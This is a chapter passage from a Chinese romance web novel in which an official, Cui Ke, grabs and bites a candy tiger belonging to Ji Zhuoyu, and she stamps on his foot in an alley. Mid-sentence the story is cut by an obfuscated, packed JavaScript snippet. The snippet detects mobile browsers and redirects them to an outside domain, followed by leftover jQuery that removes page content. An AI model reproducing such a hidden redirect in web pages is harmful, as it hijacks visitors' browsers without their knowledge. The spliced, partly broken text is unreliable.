26. 第二十六章(第2页)
他深不见底的黑眸里清晰地倒映着季琢玉惊愕的脸,她的瞳孔里也有一个小小的他。
双目对视,熟悉又诡异的感觉。
他的唇角下意识勾起,是自己都没能察觉到的笑容。
杨大牛脸上的笑容僵住,愣在一旁,到嘴的糖人就这么被人横插一脚夺去了,船帮少帮主何时受过这等羞辱?
“姓崔的,你找死,还老子糖老虎!”
季琢玉赶紧伸手抓住杨大牛的胳膊,他的拳头眼看就要打出去了。
崔恪看都没看杨大牛,目光静静地落在自己手中那根刚抢来的竹签上。
金黄的糖老虎在他冷白的指尖显得格外轮廓分明,甘甜诱人。
他薄唇微启,声音不高,却十分清晰,带着一种理所当然的冰冷:“老虎?不像。”
这话不知是评价那老虎,还是意有所指。
季琢玉脸一变,哪儿不像了,分明就是老虎。
她柳眉倒竖,也顾不上什么身份差距了,指着他就嚷:“你……你怎么又抢人东西,前几日在船上抢我糖葫芦,今日又抢我的糖老虎,堂堂少卿大人,俸禄不够你买糖吃吗?专盯着我的零嘴儿抢。”
她气鼓鼓的,脸颊因为激动染上一层薄红,在摇晃的灯火下格外生动。
崔恪凝视着她,捏着那根竹签的手指,几不可查地收紧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15864307|174734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了一下。
糖老虎坚硬的糖角硌着他的指腹,他挪开目光,视线飘向远处河面上星星点点的船灯,喉结极其细微地滚动了一下。
出口的声音,还是那副冻死人的腔调,仿佛在陈述一个铁律。
“你如今为我所用,身上一件一物自然也属于我。”
话音落,他竟当着季琢玉和杨大牛的面,微微低头,对着那糖老虎威风凛凛的脑门,面无表情地咬了下去。
“咔嚓!”
清脆的碎裂声,竟意外的好听。
杨大牛张着嘴,看着那缺了半个脑袋的糖老虎,再看看崔恪那张冰山脸,眼珠子都快瞪出来了,半天憋出一句:“……操。”
玉兄弟亲手做的糖老虎,仅此一个,就这么被“斩首”了。
“没有这样的道理!”季琢玉好好的游玩心情都被他搞没了,不舍地看一眼他手里的半个糖老虎,气鼓鼓地甩手离开。
杨大牛“诶诶”两声,想要追上去,奈何手里拿的东西太多,好不容易挤过人群,哪儿还有“玉兄弟”的影子。
再一回头,本来站在糖画摊前的崔恪也不见了。
“玉兄弟!玉兄弟!”
杨大牛跳脚大喊,仰着头四处找寻季琢玉的身影,朝着远处快步走去。
角落小巷外,两道拉长的影子投在湿漉漉的石板上。
季琢玉走得飞快,靛青的衣摆带起小小的风。
方才被崔恪强行拽到一旁,眼睁睁看着杨大牛跑去相反的方向找她,她心里的憋闷劲儿还没散。
她故意把步子踩得重重的,青石板发出清脆的“嗒、嗒”声,在寂静的巷子里回响,像是对身后那人的无声怨气。
崔恪沉默地跟在几步之后,单手背在身后,深眸未曾挪开片刻,盯着她的背影。
墨蓝的官袍在黑夜几乎看不见,腰间的玉带钩反射一点微弱的月光。
月亮又大又圆,好像抬手就能触碰到。
他步履沉稳,不远不近,像是她的影子。
两人一前一后,巷子又窄,他的存在感很强,来自身后无声的压迫感让季琢玉更觉烦躁。
“哼!”她越想越气,猛地停下脚步,转过身看着他,也不说话。
抬起穿着软底绣鞋的脚,对着崔恪近在咫尺、一尘不染的官靴靴面,狠狠地跺了下去。
“唔。”崔恪闷哼一声,猝不及防,脚背传来清晰的钝痛。
他身形微晃一下,眉头几不可查地蹙紧,看着眼前气红了脸的姑娘。
季琢玉跺完,看也不看他,扭头就走。
出了气,心里好受多了。
这次走得更快,几乎是小跑起来,不再是因为生气,而是后怕。
她踩了人,才想起官大一级压死人的道理,崔恪想杀她比碾死一只蚂蚁还容易。
身后的男人低头看了看靴面上那个小小的泥印,又抬眼望向前面那个倔强单薄的背影。
他低下头,不怒反笑,薄唇勾起一抹淡如月光的上扬弧度。
从前就如此,如今还是这样,她什么时候才能知道,袭官是重罪,株连九族的重罪。
记忆回笼,铃铛般的悦耳笑声由远及近。
“哈哈哈,株连九族?我才不怕呢,我没有九族的,花大叔说我爹娘早死了,在这世上一个亲人都没有。”
“该害怕的人是你,子慎,日后你可是要在我的九族里的。”